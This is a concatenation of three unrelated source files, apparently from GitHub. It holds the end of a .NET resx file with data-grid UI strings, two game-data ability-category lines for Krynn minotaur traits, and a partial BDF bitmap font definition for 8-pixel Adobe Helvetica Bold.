<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="Average" xml:space="preserve">
<value>Average</value>
</data>
<data name="BoolFalseLabel" xml:space="preserve">
<value>No</value>
</data>
<data name="BoolTrueLabel" xml:space="preserve">
<value>Yes</value>
</data>
<data name="ClearAllFilters" xml:space="preserve">
<value>Clear all filters</value>
</data>
<data name="CreateItem" xml:space="preserve">
<value>Create item</value>
</data>
<data name="DefaultGridEmptyText" xml:space="preserve">
<value>There are no items to display</value>
</data>
<data name="DeleteItem" xml:space="preserve">
<value>Delete item</value>
</data>
<data name="ExtSortingText" xml:space="preserve">
<value>Drop columns here for column extended sorting</value>
</data>
<data name="FilterButtonTooltipText" xml:space="preserve">
<value>Filter this column</value>
</data>
<data name="GroupingText" xml:space="preserve">
<value>Drop columns here for column grouping</value>
</data>
<data name="Items" xml:space="preserve">
<value>Items</value>
</data>
<data name="Lang" xml:space="preserve">
<value>en</value>
</data>
<data name="Max" xml:space="preserve">
<value>Max</value>
</data>
<data name="Min" xml:space="preserve">
<value>Min</value>
</data>
<data name="ReadItem" xml:space="preserve">
<value>Read item</value>
</data>
<data name="SearchFor" xml:space="preserve">
<value>Search for ...</value>
</data>
<data name="Show" xml:space="preserve">
<value>Show</value>
</data>
<data name="Sum" xml:space="preserve">
<value>Sum</value>
</data>
<data name="UpdateItem" xml:space="preserve">
<value>Update item</value>
</data>
</root>
|
{
"pile_set_name": "Github"
}
|
ABILITYCATEGORY:Minotaur (Krynn) Trait VISIBLE:QUALIFY EDITABLE:YES EDITPOOL:NO CATEGORY:Special Ability TYPE:Minotaur (Krynn) Trait DISPLAYLOCATION:Character
ABILITYCATEGORY:Minotaur (Krynn) Bond VISIBLE:QUALIFY EDITABLE:YES EDITPOOL:NO CATEGORY:Special Ability TYPE:Minotaur (Krynn) Bond DISPLAYLOCATION:Character
|
{
"pile_set_name": "Github"
}
|
STARTFONT 2.1
FONT -Adobe-Helvetica-Bold-R-Normal--8-80-75-75-P-50-ISO10646-1
SIZE 8 75 75
FONTBOUNDINGBOX 12 16 -2 -4
COMMENT $Xorg: $
COMMENT ISO10646-1 extension by Markus Kuhn <[email protected]>, 2001-03-20
COMMENT
COMMENT +
COMMENT Copyright 1984-1989, 1994 Adobe Systems Incorporated.
COMMENT Copyright 1988, 1994 Digital Equipment Corporation.
COMMENT
COMMENT Adobe is a trademark of Adobe Systems Incorporated which may be
COMMENT registered in certain jurisdictions.
COMMENT Permission to use these trademarks is hereby granted only in
COMMENT association with the images described in this file.
COMMENT
COMMENT Permission to use, copy, modify, distribute and sell this software
COMMENT and its documentation for any purpose and without fee is hereby
COMMENT granted, provided that the above copyright notices appear in all
COMMENT copies and that both those copyright notices and this permission
COMMENT notice appear in supporting documentation, and that the names of
COMMENT Adobe Systems and Digital Equipment Corporation not be used in
COMMENT advertising or publicity pertaining to distribution of the software
COMMENT without specific, written prior permission. Adobe Systems and
COMMENT Digital Equipment Corporation make no representations about the
COMMENT suitability of this software for any purpose. It is provided "as
COMMENT is" without express or implied warranty.
COMMENT -
STARTPROPERTIES 26
FOUNDRY "Adobe"
FAMILY_NAME "Helvetica"
WEIGHT_NAME "Bold"
SLANT "R"
SETWIDTH_NAME "Normal"
ADD_STYLE_NAME ""
PIXEL_SIZE 8
POINT_SIZE 80
RESOLUTION_X 75
RESOLUTION_Y 75
SPACING "P"
AVERAGE_WIDTH 50
CHARSET_REGISTRY "ISO10646"
CHARSET_ENCODING "1"
CAP_HEIGHT 6
X_HEIGHT 5
FONT_ASCENT 8
FONT_DESCENT 2
FACE_NAME "Helvetica Bold"
COPYRIGHT "Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved."
NOTICE "Helvetica is a trademark of Linotype-Hell AG and/or its subsidiaries. "
_DEC_DEVICE_FONTNAMES "PS=Helvetica-Bold"
DEFAULT_CHAR 0
RELATIVE_SETWIDTH 50
RELATIVE_WEIGHT 70
FULL_NAME "Helvetica Bold"
ENDPROPERTIES
CHARS 756
STARTCHAR char0
ENCODING 0
SWIDTH 722 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
A8
00
88
00
A8
ENDCHAR
STARTCHAR space
ENCODING 32
SWIDTH 278 0
DWIDTH 2 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR exclam
ENCODING 33
SWIDTH 333 0
DWIDTH 3 0
BBX 2 7 0 0
BITMAP
C0
C0
C0
80
00
80
80
ENDCHAR
STARTCHAR quotedbl
ENCODING 34
SWIDTH 474 0
DWIDTH 4 0
BBX 3 2 0 4
BITMAP
A0
A0
ENDCHAR
STARTCHAR numbersign
ENCODING 35
SWIDTH 556 0
DWIDTH 5 0
BBX 5 6 -1 0
BITMAP
50
F8
50
F8
A0
A0
ENDCHAR
STARTCHAR dollar
ENCODING 36
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
20
70
C0
E0
70
30
E0
40
ENDCHAR
STARTCHAR percent
ENCODING 37
SWIDTH 889 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
68
B0
E0
38
68
B0
ENDCHAR
STARTCHAR ampersand
ENCODING 38
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
70
50
60
F8
D0
68
ENDCHAR
STARTCHAR quotesingle
ENCODING 39
SWIDTH 238 0
DWIDTH 3 0
BBX 1 3 1 5
BITMAP
80
80
80
ENDCHAR
STARTCHAR parenleft
ENCODING 40
SWIDTH 333 0
DWIDTH 3 0
BBX 2 8 0 -2
BITMAP
40
40
80
80
80
80
40
40
ENDCHAR
STARTCHAR parenright
ENCODING 41
SWIDTH 333 0
DWIDTH 3 0
BBX 2 8 0 -2
BITMAP
80
80
40
40
40
40
80
80
ENDCHAR
STARTCHAR asterisk
ENCODING 42
SWIDTH 389 0
DWIDTH 3 0
BBX 3 3 0 3
BITMAP
40
E0
40
ENDCHAR
STARTCHAR plus
ENCODING 43
SWIDTH 584 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
20
20
F0
20
20
ENDCHAR
STARTCHAR comma
ENCODING 44
SWIDTH 278 0
DWIDTH 2 0
BBX 2 3 -1 -1
BITMAP
40
40
80
ENDCHAR
STARTCHAR hyphen
ENCODING 45
SWIDTH 333 0
DWIDTH 4 0
BBX 3 1 0 2
BITMAP
E0
ENDCHAR
STARTCHAR period
ENCODING 46
SWIDTH 278 0
DWIDTH 2 0
BBX 1 2 0 0
BITMAP
80
80
ENDCHAR
STARTCHAR slash
ENCODING 47
SWIDTH 278 0
DWIDTH 3 0
BBX 3 6 0 0
BITMAP
20
20
40
40
80
80
ENDCHAR
STARTCHAR zero
ENCODING 48
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
60
D0
D0
D0
D0
60
ENDCHAR
STARTCHAR one
ENCODING 49
SWIDTH 556 0
DWIDTH 5 0
BBX 3 6 0 0
BITMAP
20
E0
60
60
60
60
ENDCHAR
STARTCHAR two
ENCODING 50
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
60
B0
30
60
C0
F0
ENDCHAR
STARTCHAR three
ENCODING 51
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
60
B0
60
30
B0
60
ENDCHAR
STARTCHAR four
ENCODING 52
SWIDTH 556 0
DWIDTH 5 0
BBX 5 6 0 0
BITMAP
30
50
D0
F8
30
30
ENDCHAR
STARTCHAR five
ENCODING 53
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
70
C0
E0
30
B0
60
ENDCHAR
STARTCHAR six
ENCODING 54
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
70
C0
E0
D0
D0
60
ENDCHAR
STARTCHAR seven
ENCODING 55
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
F0
30
30
60
40
C0
ENDCHAR
STARTCHAR eight
ENCODING 56
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
60
D0
60
D0
D0
60
ENDCHAR
STARTCHAR nine
ENCODING 57
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
60
B0
B0
70
30
E0
ENDCHAR
STARTCHAR colon
ENCODING 58
SWIDTH 333 0
DWIDTH 2 0
BBX 1 5 0 0
BITMAP
80
80
00
80
80
ENDCHAR
STARTCHAR semicolon
ENCODING 59
SWIDTH 333 0
DWIDTH 2 0
BBX 2 6 -1 -1
BITMAP
40
40
00
40
40
80
ENDCHAR
STARTCHAR less
ENCODING 60
SWIDTH 584 0
DWIDTH 4 0
BBX 3 5 0 0
BITMAP
20
40
80
40
20
ENDCHAR
STARTCHAR equal
ENCODING 61
SWIDTH 584 0
DWIDTH 5 0
BBX 4 3 0 1
BITMAP
F0
00
F0
ENDCHAR
STARTCHAR greater
ENCODING 62
SWIDTH 584 0
DWIDTH 4 0
BBX 3 5 0 0
BITMAP
80
40
20
40
80
ENDCHAR
STARTCHAR question
ENCODING 63
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
E0
30
60
40
00
40
40
ENDCHAR
STARTCHAR at
ENCODING 64
SWIDTH 975 0
DWIDTH 9 0
BBX 8 7 0 -1
BITMAP
7E
C3
99
A9
99
CE
60
ENDCHAR
STARTCHAR A
ENCODING 65
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR B
ENCODING 66
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F0
D8
F0
D8
D8
F0
ENDCHAR
STARTCHAR C
ENCODING 67
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
78
C8
C0
C0
C8
78
ENDCHAR
STARTCHAR D
ENCODING 68
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F0
D8
D8
D8
D8
F0
ENDCHAR
STARTCHAR E
ENCODING 69
SWIDTH 667 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR F
ENCODING 70
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
F0
C0
F0
C0
C0
C0
ENDCHAR
STARTCHAR G
ENCODING 71
SWIDTH 778 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
78
C8
C0
D8
C8
78
ENDCHAR
STARTCHAR H
ENCODING 72
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
D8
D8
F8
D8
D8
D8
ENDCHAR
STARTCHAR I
ENCODING 73
SWIDTH 278 0
DWIDTH 2 0
BBX 1 6 0 0
BITMAP
80
80
80
80
80
80
ENDCHAR
STARTCHAR J
ENCODING 74
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
30
30
30
30
B0
60
ENDCHAR
STARTCHAR K
ENCODING 75
SWIDTH 722 0
DWIDTH 6 0
BBX 6 6 0 0
BITMAP
D8
D0
E0
F0
D8
CC
ENDCHAR
STARTCHAR L
ENCODING 76
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
C0
C0
C0
C0
C0
F0
ENDCHAR
STARTCHAR M
ENCODING 77
SWIDTH 833 0
DWIDTH 8 0
BBX 7 6 0 0
BITMAP
C6
C6
EE
FE
D6
D6
ENDCHAR
STARTCHAR N
ENCODING 78
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
C8
C8
E8
F8
D8
C8
ENDCHAR
STARTCHAR O
ENCODING 79
SWIDTH 778 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR P
ENCODING 80
SWIDTH 667 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F0
D8
D8
F0
C0
C0
ENDCHAR
STARTCHAR Q
ENCODING 81
SWIDTH 778 0
DWIDTH 6 0
BBX 6 7 0 -1
BITMAP
70
D8
C8
C8
D8
78
04
ENDCHAR
STARTCHAR R
ENCODING 82
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F0
D8
D8
F0
D8
D8
ENDCHAR
STARTCHAR S
ENCODING 83
SWIDTH 667 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
78
C0
F0
38
D8
70
ENDCHAR
STARTCHAR T
ENCODING 84
SWIDTH 611 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
F8
60
60
60
60
60
ENDCHAR
STARTCHAR U
ENCODING 85
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
D8
D8
D8
D8
D8
70
ENDCHAR
STARTCHAR V
ENCODING 86
SWIDTH 667 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
E8
68
68
68
70
20
ENDCHAR
STARTCHAR W
ENCODING 87
SWIDTH 944 0
DWIDTH 9 0
BBX 8 6 0 0
BITMAP
DB
DB
DA
DA
6C
6C
ENDCHAR
STARTCHAR X
ENCODING 88
SWIDTH 667 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
D8
D8
70
70
D8
D8
ENDCHAR
STARTCHAR Y
ENCODING 89
SWIDTH 667 0
DWIDTH 7 0
BBX 6 6 0 0
BITMAP
EC
68
68
78
30
30
ENDCHAR
STARTCHAR Z
ENCODING 90
SWIDTH 611 0
DWIDTH 6 0
BBX 6 6 0 0
BITMAP
FC
38
30
60
E0
F8
ENDCHAR
STARTCHAR bracketleft
ENCODING 91
SWIDTH 333 0
DWIDTH 3 0
BBX 2 8 0 -2
BITMAP
C0
80
80
80
80
80
80
C0
ENDCHAR
STARTCHAR backslash
ENCODING 92
SWIDTH 278 0
DWIDTH 3 0
BBX 3 6 0 0
BITMAP
80
80
40
40
20
20
ENDCHAR
STARTCHAR bracketright
ENCODING 93
SWIDTH 333 0
DWIDTH 3 0
BBX 2 8 0 -2
BITMAP
C0
40
40
40
40
40
40
C0
ENDCHAR
STARTCHAR asciicircum
ENCODING 94
SWIDTH 584 0
DWIDTH 4 0
BBX 4 3 0 3
BITMAP
60
60
90
ENDCHAR
STARTCHAR underscore
ENCODING 95
SWIDTH 556 0
DWIDTH 5 0
BBX 5 1 0 -1
BITMAP
F8
ENDCHAR
STARTCHAR grave
ENCODING 96
SWIDTH 333 0
DWIDTH 3 0
BBX 2 2 0 6
BITMAP
80
40
ENDCHAR
STARTCHAR a
ENCODING 97
SWIDTH 556 0
DWIDTH 5 0
BBX 5 5 0 0
BITMAP
E0
30
F0
B0
D8
ENDCHAR
STARTCHAR b
ENCODING 98
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
C0
C0
E0
D0
D0
D0
E0
ENDCHAR
STARTCHAR c
ENCODING 99
SWIDTH 556 0
DWIDTH 4 0
BBX 3 5 0 0
BITMAP
60
C0
C0
C0
60
ENDCHAR
STARTCHAR d
ENCODING 100
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
30
30
70
B0
B0
B0
70
ENDCHAR
STARTCHAR e
ENCODING 101
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
D0
F0
C0
60
ENDCHAR
STARTCHAR f
ENCODING 102
SWIDTH 333 0
DWIDTH 3 0
BBX 4 7 -1 0
BITMAP
30
60
F0
60
60
60
60
ENDCHAR
STARTCHAR g
ENCODING 103
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 -1
BITMAP
D0
B0
B0
F0
30
E0
ENDCHAR
STARTCHAR h
ENCODING 104
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
C0
C0
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR i
ENCODING 105
SWIDTH 278 0
DWIDTH 2 0
BBX 1 7 0 0
BITMAP
80
00
80
80
80
80
80
ENDCHAR
STARTCHAR j
ENCODING 106
SWIDTH 278 0
DWIDTH 2 0
BBX 2 8 -1 -1
BITMAP
40
00
40
40
40
40
40
80
ENDCHAR
STARTCHAR k
ENCODING 107
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
C0
C0
D0
D0
E0
D0
D0
ENDCHAR
STARTCHAR l
ENCODING 108
SWIDTH 278 0
DWIDTH 2 0
BBX 1 7 0 0
BITMAP
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR m
ENCODING 109
SWIDTH 889 0
DWIDTH 7 0
BBX 6 5 0 0
BITMAP
E8
D4
D4
D4
D4
ENDCHAR
STARTCHAR n
ENCODING 110
SWIDTH 611 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
E0
D0
D0
D0
D0
ENDCHAR
STARTCHAR o
ENCODING 111
SWIDTH 611 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
D0
D0
D0
60
ENDCHAR
STARTCHAR p
ENCODING 112
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 -1
BITMAP
E0
D0
D0
D0
E0
C0
ENDCHAR
STARTCHAR q
ENCODING 113
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 -1
BITMAP
70
B0
B0
B0
70
30
ENDCHAR
STARTCHAR r
ENCODING 114
SWIDTH 389 0
DWIDTH 3 0
BBX 3 5 0 0
BITMAP
A0
E0
C0
C0
C0
ENDCHAR
STARTCHAR s
ENCODING 115
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
70
C0
F0
30
E0
ENDCHAR
STARTCHAR t
ENCODING 116
SWIDTH 333 0
DWIDTH 3 0
BBX 4 7 -1 0
BITMAP
20
60
F0
60
60
60
30
ENDCHAR
STARTCHAR u
ENCODING 117
SWIDTH 611 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
D0
D0
D0
F0
50
ENDCHAR
STARTCHAR v
ENCODING 118
SWIDTH 556 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
D0
D0
D0
60
40
ENDCHAR
STARTCHAR w
ENCODING 119
SWIDTH 778 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
A8
A8
F8
F8
48
ENDCHAR
STARTCHAR x
ENCODING 120
SWIDTH 556 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
D8
D8
70
D8
D8
ENDCHAR
STARTCHAR y
ENCODING 121
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 -1
BITMAP
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR z
ENCODING 122
SWIDTH 500 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
F0
30
60
C0
F0
ENDCHAR
STARTCHAR braceleft
ENCODING 123
SWIDTH 389 0
DWIDTH 4 0
BBX 3 7 0 -1
BITMAP
20
40
40
80
40
40
20
ENDCHAR
STARTCHAR bar
ENCODING 124
SWIDTH 280 0
DWIDTH 2 0
BBX 1 7 1 -1
BITMAP
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR braceright
ENCODING 125
SWIDTH 389 0
DWIDTH 4 0
BBX 3 7 0 -1
BITMAP
80
40
40
20
40
40
80
ENDCHAR
STARTCHAR asciitilde
ENCODING 126
SWIDTH 584 0
DWIDTH 5 0
BBX 5 2 0 2
BITMAP
58
B0
ENDCHAR
STARTCHAR space
ENCODING 160
SWIDTH 278 0
DWIDTH 2 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR exclamdown
ENCODING 161
SWIDTH 333 0
DWIDTH 3 0
BBX 2 7 0 -2
BITMAP
40
40
00
40
C0
C0
C0
ENDCHAR
STARTCHAR cent
ENCODING 162
SWIDTH 556 0
DWIDTH 5 0
BBX 4 7 0 -1
BITMAP
20
20
F0
C0
F0
40
40
ENDCHAR
STARTCHAR sterling
ENCODING 163
SWIDTH 556 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
30
50
C0
60
50
F0
ENDCHAR
STARTCHAR currency
ENCODING 164
SWIDTH 556 0
DWIDTH 5 0
BBX 5 5 0 1
BITMAP
88
70
50
70
88
ENDCHAR
STARTCHAR yen
ENCODING 165
SWIDTH 556 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
58
D8
58
F8
30
30
ENDCHAR
STARTCHAR brokenbar
ENCODING 166
SWIDTH 280 0
DWIDTH 2 0
BBX 1 6 0 0
BITMAP
80
80
00
80
80
80
ENDCHAR
STARTCHAR section
ENCODING 167
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 -2
BITMAP
70
C0
E0
D0
50
30
B0
E0
ENDCHAR
STARTCHAR dieresis
ENCODING 168
SWIDTH 333 0
DWIDTH 2 0
BBX 3 1 0 5
BITMAP
A0
ENDCHAR
STARTCHAR copyright
ENCODING 169
SWIDTH 737 0
DWIDTH 8 0
BBX 6 7 1 0
BITMAP
78
CC
B4
C4
B4
CC
78
ENDCHAR
STARTCHAR ordfeminine
ENCODING 170
SWIDTH 370 0
DWIDTH 4 0
BBX 3 5 0 2
BITMAP
E0
60
A0
00
E0
ENDCHAR
STARTCHAR guillemotleft
ENCODING 171
SWIDTH 556 0
DWIDTH 6 0
BBX 4 3 0 1
BITMAP
50
A0
50
ENDCHAR
STARTCHAR logicalnot
ENCODING 172
SWIDTH 584 0
DWIDTH 6 0
BBX 4 2 0 2
BITMAP
F0
10
ENDCHAR
STARTCHAR hyphen
ENCODING 173
SWIDTH 333 0
DWIDTH 4 0
BBX 3 1 0 2
BITMAP
E0
ENDCHAR
STARTCHAR registered
ENCODING 174
SWIDTH 737 0
DWIDTH 8 0
BBX 6 7 1 0
BITMAP
78
4C
B4
B4
AC
C4
78
ENDCHAR
STARTCHAR macron
ENCODING 175
SWIDTH 333 0
DWIDTH 2 0
BBX 2 1 0 5
BITMAP
C0
ENDCHAR
STARTCHAR degree
ENCODING 176
SWIDTH 400 0
DWIDTH 3 0
BBX 3 3 0 3
BITMAP
E0
A0
E0
ENDCHAR
STARTCHAR plusminus
ENCODING 177
SWIDTH 584 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
20
20
F0
20
00
F0
ENDCHAR
STARTCHAR twosuperior
ENCODING 178
SWIDTH 333 0
DWIDTH 2 0
BBX 2 4 0 2
BITMAP
C0
40
80
C0
ENDCHAR
STARTCHAR threesuperior
ENCODING 179
SWIDTH 333 0
DWIDTH 2 0
BBX 2 4 0 2
BITMAP
C0
C0
40
80
ENDCHAR
STARTCHAR acute
ENCODING 180
SWIDTH 333 0
DWIDTH 2 0
BBX 2 2 0 5
BITMAP
40
80
ENDCHAR
STARTCHAR mu
ENCODING 181
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
D0
D0
D0
F0
90
C0
C0
ENDCHAR
STARTCHAR paragraph
ENCODING 182
SWIDTH 556 0
DWIDTH 5 0
BBX 5 8 -1 -2
BITMAP
78
E8
E8
68
28
28
28
28
ENDCHAR
STARTCHAR periodcentered
ENCODING 183
SWIDTH 278 0
DWIDTH 2 0
BBX 2 2 0 2
BITMAP
C0
C0
ENDCHAR
STARTCHAR cedilla
ENCODING 184
SWIDTH 333 0
DWIDTH 2 0
BBX 2 2 0 -2
BITMAP
40
C0
ENDCHAR
STARTCHAR onesuperior
ENCODING 185
SWIDTH 333 0
DWIDTH 2 0
BBX 2 4 0 2
BITMAP
40
C0
40
40
ENDCHAR
STARTCHAR ordmasculine
ENCODING 186
SWIDTH 365 0
DWIDTH 4 0
BBX 3 5 0 2
BITMAP
E0
A0
E0
00
E0
ENDCHAR
STARTCHAR guillemotright
ENCODING 187
SWIDTH 556 0
DWIDTH 6 0
BBX 4 3 0 1
BITMAP
A0
50
A0
ENDCHAR
STARTCHAR onequarter
ENCODING 188
SWIDTH 834 0
DWIDTH 7 0
BBX 6 8 0 -1
BITMAP
44
C8
50
50
28
58
BC
08
ENDCHAR
STARTCHAR onehalf
ENCODING 189
SWIDTH 834 0
DWIDTH 7 0
BBX 6 8 0 -1
BITMAP
44
C8
50
50
38
48
90
18
ENDCHAR
STARTCHAR threequarters
ENCODING 190
SWIDTH 834 0
DWIDTH 7 0
BBX 6 8 0 -1
BITMAP
C4
C8
50
A0
28
58
BC
08
ENDCHAR
STARTCHAR questiondown
ENCODING 191
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
40
40
00
40
40
C0
F0
ENDCHAR
STARTCHAR Agrave
ENCODING 192
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
40
20
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR Aacute
ENCODING 193
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR Acircumflex
ENCODING 194
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR Atilde
ENCODING 195
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
28
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR Adieresis
ENCODING 196
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
50
00
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR Aring
ENCODING 197
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
20
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR AE
ENCODING 198
SWIDTH 1000 0
DWIDTH 8 0
BBX 7 6 0 0
BITMAP
7E
38
5E
F8
D8
DE
ENDCHAR
STARTCHAR Ccedilla
ENCODING 199
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
78
C8
C0
C0
C8
78
20
60
ENDCHAR
STARTCHAR Egrave
ENCODING 200
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR Eacute
ENCODING 201
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
10
20
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR Ecircumflex
ENCODING 202
SWIDTH 667 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
A0
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR Edieresis
ENCODING 203
SWIDTH 667 0
DWIDTH 5 0
BBX 4 8 0 0
BITMAP
A0
00
F0
C0
F0
C0
C0
F0
ENDCHAR
STARTCHAR Igrave
ENCODING 204
SWIDTH 278 0
DWIDTH 2 0
BBX 2 9 -1 0
BITMAP
80
40
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR Iacute
ENCODING 205
SWIDTH 278 0
DWIDTH 2 0
BBX 2 9 0 0
BITMAP
40
80
00
80
80
80
80
80
80
ENDCHAR
STARTCHAR Icircumflex
ENCODING 206
SWIDTH 278 0
DWIDTH 2 0
BBX 3 9 -1 0
BITMAP
40
A0
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR Idieresis
ENCODING 207
SWIDTH 278 0
DWIDTH 2 0
BBX 3 8 -1 0
BITMAP
A0
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR Eth
ENCODING 208
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
70
58
E8
58
58
70
ENDCHAR
STARTCHAR Ntilde
ENCODING 209
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
28
50
00
C8
C8
E8
F8
D8
C8
ENDCHAR
STARTCHAR Ograve
ENCODING 210
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
40
20
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR Oacute
ENCODING 211
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR Ocircumflex
ENCODING 212
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR Otilde
ENCODING 213
SWIDTH 778 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
28
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR Odieresis
ENCODING 214
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR multiply
ENCODING 215
SWIDTH 584 0
DWIDTH 5 0
BBX 5 4 0 1
BITMAP
D8
70
70
D8
ENDCHAR
STARTCHAR Oslash
ENCODING 216
SWIDTH 778 0
DWIDTH 6 0
BBX 7 7 -1 -1
BITMAP
3A
6C
6C
74
6C
78
80
ENDCHAR
